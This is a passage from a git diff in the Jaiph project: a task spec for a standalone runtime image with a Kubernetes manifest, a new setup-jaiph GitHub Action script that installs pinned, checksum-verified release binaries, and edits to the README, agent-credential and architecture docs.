container-inner invocation is `jaiph run --raw`, which by contract never launches Docker regardless of `JAIPH_UNSAFE` (the existing Docker e2e suite must stay green with the ENV present). -* Do **not** add an `ENTRYPOINT` and do not change `WORKDIR`: the host-orchestrated sandbox passes an explicit command argv, and an entrypoint prefix would corrupt it. Standalone usage spells the full command (`docker run … ghcr.io/jaiphlang/jaiph-runtime jaiph run /work/flow.jh`). -* When jaiph would launch Docker but the CLI is unavailable **and** a container indicator is present (`/.dockerenv` or `/run/.containerenv`), the error message must say precisely what to do: running inside a container already — set `JAIPH_UNSAFE=true` (host mode; the container is the sandbox). This covers users of derived images without the baked ENV. -* New `docs/deploy.md` (how-to, linked from README, `docs/sandboxing.md`, and `docs/setup.md`): - * one-shot: `docker run --rm -e ANTHROPIC_API_KEY -v "$PWD":/work -w /work ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh` (and the cursor/codex credential variants — `CURSOR_API_KEY`, `OPENAI_API_KEY`); - * CI usage note pointing at the pattern `nightly-engineer.yml` already uses; - * Kubernetes: a real manifest file `docs/deploy/k8s.yaml` (Deployment + Secret for backend credentials + Service; liveness/readiness probes; image tag pinning note; TLS-via-ingress note; resource-request guidance — agent workloads are CPU/memory hungry). If `jaiph serve` exists in the codebase when this task is implemented, the manifest runs `jaiph serve --host 0.0.0.0` with `JAIPH_SERVE_TOKEN` from the Secret and probes `/healthz`; otherwise the manifest demonstrates a long-lived workflow runner and the doc says the HTTP surface is queued. - * A plainly-stated security paragraph: in standalone mode there is **no** jaiph-managed sandbox — isolation is whatever the deployment provides (the container/pod boundary), and workspace content policy (gitignored secrets etc.) is the operator's responsibility, unlike the host-orchestrated snapshot sandbox. -* CI smoke test (job in `.github/workflows/ci.yml` on the built image, or a gated e2e in `e2e/tests/` where the image is available): run the image standalone with `docker run` executing a fixture workflow that writes a `return` value; assert the value round-trips and exit code 0 — proving the "put credentials + jaiph files and run it" story on every build. -* Manifest validity gate: `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` (kubectl is on GitHub runners) runs in CI and passes. -* No new `JAIPH_*` env vars expected; any introduced must get `docs/env-vars.md` rows (parity lint). Update the `JAIPH_UNSAFE` row to mention the image bakes it. - -Acceptance: - -* CI (or gated e2e) smoke test: `docker run --rm -v :/work -w /work jaiph run hello.jh` exits 0 and produces the expected return value, with no Docker daemon available inside the container. -* The full existing Docker-sandbox e2e suite passes against the image with the baked `ENV JAIPH_UNSAFE=true` (host-orchestrated behavior unchanged). -* Unit test for the container-detection error path: docker unavailable + `/.dockerenv` present (injectable check) yields the "container is the sandbox → set JAIPH_UNSAFE=true" message; without the indicator, the existing error is unchanged. -* `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` passes in CI. -* `docs/deploy.md` exists, is linked from README + `docs/sandboxing.md` + `docs/setup.md`, and documents the no-jaiph-sandbox security posture explicitly. -* `npm test` and `npm run test:e2e` pass. - -*** diff --git a/README.md b/README.md index ded0dc63..a1893b8f 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [jaiph.org](https://jaiph.org) · [Your first workflow](docs/first-workflow.md) · [Your first agent + sandboxed run](docs/first-agent-run.md) · [Install & switch versions](docs/setup.md) · [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md) · [Architecture](docs/architecture.md) · [CLI](docs/cli.md) · [Contributing](docs/contributing.md) -> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). +> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md), [Serve workflows over HTTP](docs/serve.md), [Export traces to an OTLP collector](docs/observability.md), [Deploy the runtime image standalone](docs/deploy.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). --- @@ -27,10 +27,14 @@ - **Safety and inspectability** — Docker-backed sandbox for **`jaiph run`** (env-controlled; see [Sandboxing](docs/sandboxing.md) and [Run in a Docker sandbox](docs/sandbox-run.md)); live **`__JAIPH_EVENT__`** on stderr and durable **`.jaiph/runs/`** artifacts ([Architecture](docs/architecture.md)). - **Tooling** — `jaiph compile`, `jaiph format`, `jaiph install` / `.jaiph/libs/` ([Use & publish a library](docs/libraries.md)), and optional `hooks.json` ([CLI](docs/cli.md), [Add a hook](docs/hooks.md)). - **MCP server** — `jaiph mcp ./tools.jh` serves a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio, so any MCP client (Claude Code, Cursor) can call tested Jaiph workflows as tools ([Serve workflows as MCP tools](docs/mcp.md)). +- **HTTP API** — `jaiph serve ./tools.jh` serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs. Production auth is either a static single-operator bearer token or OIDC/JWT with per-user identity and `invoke` / `inspect` / `cancel` scope authorization, and every run is audit-attributed to its principal and correlation id ([Serve workflows over HTTP](docs/serve.md)). +- **OpenTelemetry** — set the standard `OTEL_EXPORTER_OTLP_ENDPOINT` and each run exports one span tree (workflow → steps → prompts) to any OTLP collector — Grafana Tempo, Honeycomb, Datadog. Host-side, end-of-run, credential-redacted, zero new dependencies, never load-bearing ([Export traces to an OTLP collector](docs/observability.md)). +- **Sentry error reporting** — set the standard `SENTRY_DSN` and every failed run (nonzero exit or a signal) is pushed to Sentry as one error event — workflow, failing step, a redacted output excerpt, and a run-dir pointer — so operators get alerting and grouping without scraping run dirs. Host-side, redacted, zero new dependencies, never load-bearing; successful runs send nothing ([Report failed runs to Sentry](docs/observability.md#report-failed-runs-to-sentry)). +- **Standalone deployment** — the published `ghcr.io/jaiphlang/jaiph-runtime` image bakes `JAIPH_UNSAFE=true`, so `docker run … jaiph run flow.jh` (or a Kubernetes pod) runs workflows directly — put credentials plus `.jh` files and go, no host jaiph process and no Docker daemon inside the container. Here the container/pod boundary *is* the sandbox — there is no jaiph-managed isolation ([Deploy the runtime image standalone](docs/deploy.md)). ## Core components -- **CLI** (`src/cli`) — `jaiph run` / `test` / `compile` / `format` / `init` / `install` / `use` / `mcp`; prepares scripts, spawns the workflow runner (or in-process test runner), parses `__JAIPH_EVENT__` on stderr, runs hooks on `jaiph run` only. +- **CLI** (`src/cli`) — `jaiph run` / `test` / `compile` / `format` / `init` / `install` / `use` / `mcp` / `serve`; prepares scripts, spawns the workflow runner (or in-process test runner), parses `__JAIPH_EVENT__` on stderr, runs hooks on `jaiph run` only. - **Parser** (`src/parser.ts`, `src/parse/*`) — `.jh` / `.test.jh` → AST. - **Validator** (`src/transpile/validate.ts`) — imports and symbol references at compile time. - **Transpiler** (`src/transpile/*`) — emits atomic `script` files under `scripts/` only (no workflow-level shell). @@ -71,7 +75,16 @@ Or install from npm: npm install -g jaiph ``` -Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.11.0`. +In GitHub Actions, install a pinned CLI with the [`setup-jaiph`](actions/setup-jaiph/) composite action (same release binaries, no Node required on the runner): + +```yaml +- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.12.0 + with: + version: 0.12.0 # semver, a release tag, or 'nightly' +- run: jaiph --version # jaiph is now on PATH for later steps +``` + +Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.12.0`. Releases ship a `SHA256SUMS` file plus a detached [minisign](https://jedisct1.github.io/minisign/) signature (`SHA256SUMS.minisig`); the installer verifies the checksum and, when `minisign` and the project public key are available, the signature — see [Verify the release signature](docs/setup.md#verify-the-release-signature). @@ -81,7 +94,7 @@ Initialize a project (optional): `jaiph init` writes `.jaiph/` with bootstrap wo - Run the default workflow: `jaiph run path/to/main.jh [args...]` or `./main.jh [args...]` with a `#!/usr/bin/env jaiph` shebang. - Run tests: `jaiph test` (workspace), `jaiph test ./dir`, or `jaiph test path.test.jh`. -- Validate without executing: `jaiph compile …` (same `validateReferences` checks as before `jaiph run`; no `scripts/` emission — see [Architecture](docs/architecture.md)). +- Validate without executing: `jaiph compile …` (runs the same compile-time validation as `jaiph run`, but collects every error at once instead of stopping at the first; no `scripts/` emission — see [Architecture](docs/architecture.md)). - Format sources: `jaiph format …` / `jaiph format --check …`. Full flags and environment variables: [CLI](docs/cli.md), [Environment variables](docs/env-vars.md). New here? Start with [Your first workflow](docs/first-workflow.md). diff --git a/actions/setup-jaiph/README.md b/actions/setup-jaiph/README.md new file mode 100644 index 00000000..8f18b8e6 --- /dev/null +++ b/actions/setup-jaiph/README.md @@ -0,0 +1,48 @@ +# `setup-jaiph` GitHub Action + +Install a pinned [Jaiph](https://github.com/jaiphlang/jaiph) CLI onto `PATH` in a +GitHub Actions job. Downloads the standalone per-platform release binary — the +same channel as the [curl installer](https://jaiph.org/how-to/install) — so no +Node/npm is required on the runner. + +Supported runners: GitHub-hosted **Linux** and **macOS** (arm64 / x64), covered by +release artifacts. + +## Usage + +```yaml +steps: + - uses: jaiphlang/jaiph/actions/setup-jaiph@v0.12.0 + with: + version: 0.12.0 # semver, a release tag (v0.12.0), or 'nightly' + - run: jaiph --version # jaiph is now on PATH for every later step +``` + +Pin both the action (`@v0.12.0`) and the `version` input to an exact release for +reproducible CI. Use `nightly` to track the rolling prerelease: + +```yaml + - uses: jaiphlang/jaiph/actions/setup-jaiph@nightly + with: + version: nightly +``` + +## Inputs + +| Input | Required | Default | Description | +|-----------|----------|-----------|-------------| +| `version` | no | `nightly` | Version to install: a bare semver (`0.12.0`), a release tag (`v0.12.0`), or `nightly`. | + +## Outputs + +| Output | Description | +|-----------|-------------| +| `version` | The resolved `jaiph --version` banner of the installed CLI. | + +## Security + +The action reuses the release installer's fail-closed policy: it verifies the +`SHA256SUMS` checksum for the downloaded binary and the detached +`SHA256SUMS.minisig` signature when [`minisign`](https://jedisct1.github.io/minisign/) +is on `PATH`. A checksum mismatch, a missing signature file, or a missing release +artifact fails the step and installs nothing. diff --git a/actions/setup-jaiph/action.yml b/actions/setup-jaiph/action.yml new file mode 100644 index 00000000..5558978d --- /dev/null +++ b/actions/setup-jaiph/action.yml @@ -0,0 +1,29 @@ +name: Setup Jaiph +description: Install a pinned Jaiph CLI onto PATH for GitHub-hosted Linux and macOS runners. +author: jaiphlang +branding: + icon: terminal + color: purple + +inputs: + version: + description: >- + Jaiph version to install: a bare semver (e.g. 0.11.0), a release tag + (e.g. v0.11.0), or 'nightly' for the rolling prerelease. Pin an exact + version for reproducible CI. + required: false + default: nightly + +outputs: + version: + description: The resolved `jaiph --version` banner of the installed CLI. + value: ${{ steps.install.outputs.version }} + +runs: + using: composite + steps: + - id: install + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + run: bash "${{ github.action_path }}/setup.sh" diff --git a/actions/setup-jaiph/setup.sh b/actions/setup-jaiph/setup.sh new file mode 100755 index 00000000..647e59df --- /dev/null +++ b/actions/setup-jaiph/setup.sh @@ -0,0 +1,63 @@ +#!/usr/bin/env bash +# +# setup-jaiph GitHub Action entrypoint. +# +# Install a pinned jaiph CLI in CI and expose it on PATH for later steps. This +# is thin glue over the canonical release installer (docs/install): it resolves +# the `version` input to a release ref, runs the installer into a runner-owned +# bin dir, then appends that dir to $GITHUB_PATH. All download / checksum / +# signature fail-closed policy lives in docs/install and MUST NOT be duplicated +# here — this script only decides the ref and wires PATH for the runner. +# +# Consumed from action.yml via INPUT_VERSION. Test/override hooks: +# JAIPH_INSTALLER path to the installer script (default: repo docs/install) +# JAIPH_BIN_DIR install dir (default: $RUNNER_TEMP/jaiph-bin) +# JAIPH_RELEASE_BASE_URL release asset base URL (see docs/install) +# GITHUB_PATH/GITHUB_OUTPUT Actions files; skipped when unset (local runs) + +set -euo pipefail + +# Resolve the requested version to a GitHub Release ref. +version="${INPUT_VERSION:-${1:-nightly}}" +# Trim surrounding whitespace (YAML folding can introduce it). +version="${version#"${version%%[![:space:]]*}"}" +version="${version%"${version##*[![:space:]]}"}" +[ -n "${version}" ] || version="nightly" + +case "${version}" in + nightly) ref="nightly" ;; # rolling prerelease tag + v[0-9]*) ref="${version}" ;; # already a release tag (v0.11.0) + [0-9]*) ref="v${version}" ;; # bare semver (0.11.0 -> v0.11.0) + *) ref="${version}" ;; # any other explicit tag +esac + +bin_dir="${JAIPH_BIN_DIR:-${RUNNER_TEMP:-/tmp}/jaiph-bin}" +mkdir -p "${bin_dir}" + +script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +installer="${JAIPH_INSTALLER:-${script_dir}/../../docs/install}" +if [ ! -f "${installer}" ]; then + echo "setup-jaiph: installer not found at ${installer}" >&2 + exit 1 +fi + +echo "setup-jaiph: resolved version '${version}' to release ref '${ref}'" >&2 + +# Force the release-download path: unset JAIPH_REPO_URL so a stray value can +# never flip docs/install into local-source build mode. +( + unset JAIPH_REPO_URL + JAIPH_BIN_DIR="${bin_dir}" JAIPH_REPO_REF="${ref}" bash "${installer}" +) + +# Expose the install dir on PATH for subsequent workflow steps and this one. +if [ -n "${GITHUB_PATH:-}" ]; then + printf '%s\n' "${bin_dir}" >> "${GITHUB_PATH}" +fi +export PATH="${bin_dir}:${PATH}" + +resolved="$("${bin_dir}/jaiph" --version)" +echo "setup-jaiph: installed ${resolved}" >&2 +if [ -n "${GITHUB_OUTPUT:-}" ]; then + printf 'version=%s\n' "${resolved}" >> "${GITHUB_OUTPUT}" +fi diff --git a/docs/_layouts/docs.html b/docs/_layouts/docs.html index d7053a1c..26602410 100644 --- a/docs/_layouts/docs.html +++ b/docs/_layouts/docs.html @@ -55,6 +55,9 @@
  • Save artifacts
  • Write & run tests
  • Serve workflows as MCP tools
    • +
  • Serve workflows over HTTP
    • +
  • Export traces (OTLP)
    • +
  • Deploy the runtime image
  • Reference
  • CLI
  • Configuration
    • diff --git a/docs/agent-auth.md b/docs/agent-auth.md index d30b2cae..c46d45e7 100644 --- a/docs/agent-auth.md +++ b/docs/agent-auth.md @@ -8,7 +8,7 @@ diataxis: how-to This recipe sets the credentials each agent backend needs so the CLI's credential pre-flight passes and `prompt` steps reach the model. -`jaiph run` runs a host-side **credential pre-flight** before it spawns the runner or the Docker container. The pre-flight is keyed to the backend(s) declared in the entry file. Missing credentials produce `E_AGENT_CREDENTIALS` (hard abort) or a `jaiph: warning:` (host-only, for `claude` and `cursor` — see the table below). Hard failures exit before any runner or container is launched. The behavior is implemented in `src/cli/run/preflight-credentials.ts`. +`jaiph run` runs a host-side credential pre-flight before it spawns the runner or the Docker container. The pre-flight is keyed to the backends the entry file declares. Missing credentials produce either `E_AGENT_CREDENTIALS`, which is a hard abort, or a `jaiph: warning:` on host-only runs for the `claude` and `cursor` backends (see the table below). Hard failures exit before any runner or container is launched. The behavior is implemented in `src/cli/run/preflight-credentials.ts`. ## Prerequisites @@ -18,22 +18,22 @@ This recipe sets the credentials each agent backend needs so the CLI's credentia | Backend | Required credentials | Host run (no Docker) | Docker run (any mode incl. `inplace`) | |---|---|---|---| -| `claude` | `ANTHROPIC_API_KEY` **or** `CLAUDE_CODE_OAUTH_TOKEN` | warn only (a stored Claude CLI login may still work) | hard error `E_AGENT_CREDENTIALS` | +| `claude` | `ANTHROPIC_API_KEY` or `CLAUDE_CODE_OAUTH_TOKEN` | warn only (a stored Claude CLI login may still work) | hard error `E_AGENT_CREDENTIALS` | | `cursor` | `CURSOR_API_KEY` | warn only (a stored `cursor-agent login` may still work) | hard error `E_AGENT_CREDENTIALS` | | `codex` | `OPENAI_API_KEY` | hard error `E_AGENT_CREDENTIALS` (no CLI-login fallback) | hard error `E_AGENT_CREDENTIALS` when `OPENAI_API_KEY` is unset on the host (`OPENAI_API_KEY` is forwarded into the container) | -Under Docker sandboxing the host-side stored logins (Keychain entries, `~/.claude`, `cursor-agent login`) do **not** cross the container boundary. Only `JAIPH_*` run-control keys plus the credential keys in the table above are forwarded, and credential keys only for the backends the entry file selects (see [Sandboxing](sandboxing.md#what-docker-protects-against)). Set credentials on the **host** so the allowlist can forward them into the container; forward anything else per key with `--env` (an intentional allowlist bypass). +Under Docker sandboxing the host-side stored logins (Keychain entries, `~/.claude`, `cursor-agent login`) do not cross the container boundary. Only `JAIPH_*` run-control keys plus the credential keys in the table above are forwarded, and credential keys only for the backends the entry file selects (see [Sandboxing](sandboxing.md#what-docker-protects-against)). Set credentials on the host so the allowlist can forward them into the container. Forward anything else one key at a time with `--env`, which is an intentional allowlist bypass. ### Which backends get checked -The pre-flight validates every backend the entry file could reach: **each backend the entry file declares, plus the effective default backend.** The default is `cursor` unless `JAIPH_AGENT_BACKEND` overrides it, and it is always included because `prompt` steps that name no backend fall back to it. Each backend is checked independently, so a file that reaches more than one backend can emit more than one warning or error in a single pre-flight. +The pre-flight validates every backend the entry file could reach, which is each backend the entry file declares plus the effective default backend. The default is `cursor` unless `JAIPH_AGENT_BACKEND` overrides it, and it is always included because `prompt` steps that name no backend fall back to it. Each backend is checked independently, so a file that reaches more than one backend can emit more than one warning or error in a single pre-flight. -The default is deduplicated against your declarations, so **where** you set the backend decides whether the `cursor` default is also checked: +The default is deduplicated against your declarations, so where you set the backend decides whether the `cursor` default is also checked: -- **Module scope** — `config { agent.backend = "claude" }` at the top of the file makes `claude` the effective default, so only `claude` is checked. -- **Workflow scope only** — `config { agent.backend = "claude" }` inside a workflow, with no module-level backend, leaves `cursor` as the default. The pre-flight then checks **both** `claude` and `cursor`. Under Docker that makes a missing `CURSOR_API_KEY` a hard error even when every prompt targets Claude. +- **Module scope.** Putting `config { agent.backend = "claude" }` at the top of the file makes `claude` the effective default, so only `claude` is checked. +- **Workflow scope only.** Putting `config { agent.backend = "claude" }` inside a workflow, with no module-level backend, leaves `cursor` as the default. The pre-flight then checks both `claude` and `cursor`. Under Docker that makes a missing `CURSOR_API_KEY` a hard error even when every prompt targets Claude. -To check only the backend you intend to use, set it at module scope or export `JAIPH_AGENT_BACKEND` — either one becomes the default and absorbs the extra check. See [Configure backend/model](/how-to/configure-backend) for the config scopes. +To check only the backend you intend to use, set it at module scope or export `JAIPH_AGENT_BACKEND`. Either one becomes the default and absorbs the extra check. See [Configure backend/model](configure-backend.md) for the config scopes. ## 1. Authenticate Claude @@ -50,7 +50,7 @@ claude setup-token export CLAUDE_CODE_OAUTH_TOKEN="..." ``` -On host runs (no Docker), a stored `~/.claude` / macOS Keychain login from a previous interactive `claude` session also works — but in that case the pre-flight emits a warning rather than failing. +On host runs (no Docker), a stored `~/.claude` or macOS Keychain login from a previous interactive `claude` session also works, but in that case the pre-flight emits a warning rather than failing. ## 2. Authenticate Cursor @@ -58,7 +58,7 @@ On host runs (no Docker), a stored `~/.claude` / macOS Keychain login from a pre export CURSOR_API_KEY="..." ``` -For host runs only, an interactive `cursor-agent login` (stored on disk) also satisfies the runtime — but the pre-flight emits a warning unless the env var is set. +For host runs only, an interactive `cursor-agent login` (stored on disk) also satisfies the runtime, but the pre-flight emits a warning unless the env var is set. ## 3. Authenticate Codex (OpenAI) @@ -66,7 +66,7 @@ For host runs only, an interactive `cursor-agent login` (stored on disk) also sa export OPENAI_API_KEY="sk-..." ``` -`OPENAI_API_KEY` is required on **both** host and Docker runs. The `codex` backend has no CLI-login fallback — there is no warning path. Under Docker, export the key on the host; it crosses the container boundary via the env allowlist when the entry file selects `codex` (same per-backend rule as `ANTHROPIC_API_KEY` / `CURSOR_API_KEY`). +`OPENAI_API_KEY` is required on both host and Docker runs. The `codex` backend has no CLI-login fallback, so there is no warning path. Under Docker, export the key on the host. It crosses the container boundary via the env allowlist when the entry file selects `codex`, the same per-backend rule as `ANTHROPIC_API_KEY` and `CURSOR_API_KEY`. To target an OpenAI-compatible endpoint instead of the default, set `JAIPH_CODEX_API_URL` to the chat-completions URL (`JAIPH_*` is forwarded under Docker). @@ -80,11 +80,13 @@ The pre-flight runs before the banner. Hard failures print a stderr message nami ## Skip the pre-flight (escape hatch) -`JAIPH_UNSAFE=true` (or `jaiph run --unsafe`) skips the pre-flight entirely — the host is in charge, a stored CLI login may work, and the runtime's per-backend guards remain as a backstop. The pre-flight is also skipped when the entry file neither declares an explicit backend nor uses any `prompt` step (nothing would credential against). +`JAIPH_UNSAFE=true` (or `jaiph run --unsafe`) skips the pre-flight entirely. The host is in charge, a stored CLI login may work, and the runtime's per-backend guards remain as a backstop. The pre-flight is also skipped when the entry file neither declares an explicit backend nor uses any `prompt` step, because nothing would credential against. + +`jaiph run --raw` also skips the pre-flight. Raw mode is the passthrough the host uses to run the workflow inside the Docker container, so the outer `jaiph run` has already run the pre-flight before it spawns the inner raw run. ## Verification -When every required credential is present, preflight is silent — no stderr before the banner. On host runs, missing `claude` or `cursor` env vars emit `jaiph: warning:` lines and the run still proceeds (a stored CLI login may satisfy the runtime). A hard failure prints: +When every required credential is present, the pre-flight is silent, with no stderr before the banner. On host runs, missing `claude` or `cursor` env vars emit `jaiph: warning:` lines and the run still proceeds, because a stored CLI login may satisfy the runtime. A hard failure prints: ``` E_AGENT_CREDENTIALS: agent.backend "claude" selected by module config in /path/to/flow.jh — neither ANTHROPIC_API_KEY nor CLAUDE_CODE_OAUTH_TOKEN is set. Run `claude setup-token` and export CLAUDE_CODE_OAUTH_TOKEN, or set ANTHROPIC_API_KEY. @@ -94,6 +96,6 @@ Under Docker the message includes the suffix `(Docker is on — set the env var ## Related -- [Run a workflow in a Docker sandbox](/how-to/sandbox-run) — how host env vars cross the container boundary. -- [Configure backend/model](/how-to/configure-backend) — picking which backend a workflow uses. +- [Run a workflow in a Docker sandbox](sandbox-run.md) — how host env vars cross the container boundary. +- [Configure backend/model](configure-backend.md) — picking which backend a workflow uses. - [Sandboxing — What Docker protects against](sandboxing.md#what-docker-protects-against) — env allowlist and what crosses the container boundary. diff --git a/docs/architecture.md b/docs/architecture.md index b5c1dcf2..9bf5741b 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -11,32 +11,32 @@ redirect_from: # Architecture -Jaiph is a workflow system with a **TypeScript CLI** and a **JavaScript kernel** (`src/runtime/kernel/`) that interprets the workflow AST in process — there is no separate “workflow shell” emitted for execution. +Jaiph is a workflow system with a TypeScript CLI and a JavaScript kernel (`src/runtime/kernel/`) that interprets the workflow AST in process. There is no separate "workflow shell" emitted for execution. -This page describes **how Jaiph is built**: repository layout of major subsystems, **core components**, compile and run pipelines, and **runtime contracts** (events, artifacts on disk, distribution). It is the map of the implementation. For workflow syntax and semantics, see the [Language](language.md) guide; this document stays on implementation boundaries. +This page describes how Jaiph is built: the repository layout of the major subsystems, the core components, the compile and run pipelines, and the runtime contracts (events, artifacts on disk, and distribution). It stays on the implementation boundaries. For workflow syntax and semantics, see the [Language](language.md) guide. -**Why this split:** the transpiler turns each `script` block (and inline script bodies) into real files under `scripts/` with a stable layout and `JAIPH_SCRIPTS`, while **`NodeWorkflowRuntime` always executes from the AST** (`buildRuntimeGraph`). That separation keeps bash entrypoints predictable for subprocesses without duplicating workflow logic in a second language. +Jaiph separates script-file emission from workflow execution on purpose. The transpiler turns each `script` block, and each inline script body, into real files under `scripts/` with a stable layout and the `JAIPH_SCRIPTS` variable. `NodeWorkflowRuntime` still always executes from the AST through `buildRuntimeGraph`. Writing the script files this way keeps the bash entrypoints predictable for subprocesses, and it avoids duplicating workflow logic in a second language. -For **how to contribute** — branches, test layers, E2E assertion policy, and bash harness details — see [Contributing](contributing.md). For the `*.test.jh` **language** and test blocks, see [Testing](testing.md). +For how to contribute, see [Contributing](contributing.md), which covers branches, test layers, the E2E assertion policy, and the bash harness. For the `*.test.jh` language and test blocks, see [Testing](testing.md). ## System overview -Workflow authors write `.jh` / `.test.jh` modules. The toolchain turns those files into **validated** modules plus **extracted script files**, then the **same AST interpreter** runs workflows whether you use local `jaiph run`, Docker, or `jaiph test`. +Workflow authors write `.jh` / `.test.jh` modules. The toolchain turns those files into validated modules plus extracted script files, and then the same AST interpreter runs the workflows whether you use local `jaiph run`, Docker, or `jaiph test`. -1. Parse source into AST. Every CLI path walks the entry plus its transitive `.jh` import closure **once** through **`loadModuleGraph`** (`src/transpile/module-graph.ts`) and reuses that **`ModuleGraph`** for the banner (`metadataToConfig`), validation (**`validateModule`** inside **`emitScriptsForModuleFromGraph`**, invoked by **`buildScriptsFromGraph`**), script-body extraction, and — across the parent → child process boundary on the default local `jaiph run` — for **`buildRuntimeGraph(graph)`** in the spawned runner (see [Local module graph](#local-module-graph) and the sequence diagram below). `parsejaiph(source, filePath)` is I/O-pure; validation and script emit operate entirely on the in-memory graph and never re-read `.jh` files. The only fs entry point that reads `.jh` sources is `loadModuleGraph`. +1. Parse source into AST. Every CLI path walks the entry plus its transitive `.jh` import closure **once** through **`loadModuleGraph`** (`src/transpile/module-graph.ts`) and reuses that **`ModuleGraph`** for the banner (`metadataToConfig`), validation (**`validateModule`** inside **`emitScriptsForModuleFromGraph`**, invoked by **`buildScriptsFromGraph`**), script-body extraction, and, across the parent to child process boundary on the default local `jaiph run`, for **`buildRuntimeGraph(graph)`** in the spawned runner (see [Local module graph](#local-module-graph) and the sequence diagram below). `parsejaiph(source, filePath)` is I/O-pure, and validation and script emit operate entirely on the in-memory graph and never re-read `.jh` files. Inside this compile-and-run graph pipeline, `loadModuleGraph` is the only routine that reads `.jh` sources from disk. A few paths outside the graph pipeline still read `.jh` directly, such as `runWorkflowRaw` on the `jaiph run --raw` path (`src/cli/commands/run.ts`) and the exported `loadImportedModules` helper (`src/cli/shared/paths.ts`). 2. **Compile-time** validation runs before script extraction. The validator consumes the in-memory graph; imported ASTs are looked up by absolute path and never re-read from disk. Three validation entry points share the same per-module walk via **`validateModuleInto`**: **`validateModule(ast, graph)`** is the per-module throwing form (used by **`emitScriptsForModuleFromGraph`** / **`buildScriptsFromGraph()`** so the existing single-error path stays intact), **`validateReferences(graph)`** validates every reachable module then throws the first sorted error, and **`collectDiagnostics(graph)`** returns a populated `Diagnostics` collector (`src/diagnostics.ts`) with **every** recoverable error from every reachable module. The **`jaiph compile`** command walks the same import closure but routes through `collectDiagnostics`: it builds a graph per entry, collects diagnostics, prints them all (sorted by file/line/col, in `path:line:col CODE message` form on stderr — or as a single JSON array on stdout with `--json`), and exits non-zero if any diagnostic was collected. It **does not** emit **`scripts/`**, **does not** invoke **`buildRuntimeGraph()`**, and never spawns the workflow runner (`src/cli/commands/compile.ts`). For a **directory** argument it discovers `*.jh` via `walkjhFiles`, which **skips** `*.test.jh`; to validate a test module, pass that file explicitly. Imported modules in the closure are still validated recursively either way. 3. **CLI** (`dist/src/cli.js` via npm, or a **Bun-compiled** `dist/jaiph` binary) prepares script executables (scripts-only), then spawns a **detached child** through the internal **`__workflow-runner`** argv marker (**`spawnJaiphWorkflowProcess`** in `src/runtime/kernel/workflow-launch.ts`). The child entrypoint is **`runWorkflowRunner`** (`src/runtime/kernel/node-workflow-runner.ts`), which loads or deserializes the module graph, calls **`buildRuntimeGraph()`**, then runs **`NodeWorkflowRuntime`**. Under Node the spawn is **`process.execPath`** + **`dist/src/cli.js`** + **`__workflow-runner`**; under the Bun standalone binary, **`process.execPath`** is the **`jaiph`** binary itself with the same marker. Script steps execute as managed subprocesses; prompt, inbox I/O, and event/summary emission are handled by the kernel under `src/runtime/kernel/`. 4. Stream live events to the CLI and persist durable run artifacts. -Interactive **`jaiph run`** parses **`__JAIPH_EVENT__`** lines from the runner’s stderr, renders the progress tree, and runs hooks. **`jaiph run --raw`** skips that shell: the child uses inherited stdio so events still land on stderr unchanged — used when embedding Jaiph or when the host wraps a container (see [CLI — `jaiph run`](cli.md#jaiph-run) and [Sandboxing](sandboxing.md)). +Interactive **`jaiph run`** parses **`__JAIPH_EVENT__`** lines from the runner's stderr, renders the progress tree, and runs hooks. **`jaiph run --raw`** skips that shell. The child uses inherited stdio, so events still land on stderr unchanged. Use `--raw` when you embed Jaiph or when the host wraps a container (see [CLI, `jaiph run`](cli.md#jaiph-run) and [Sandboxing](sandboxing.md)). -All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`** — uses the **Node workflow runtime** (AST interpreter). Docker containers run the same 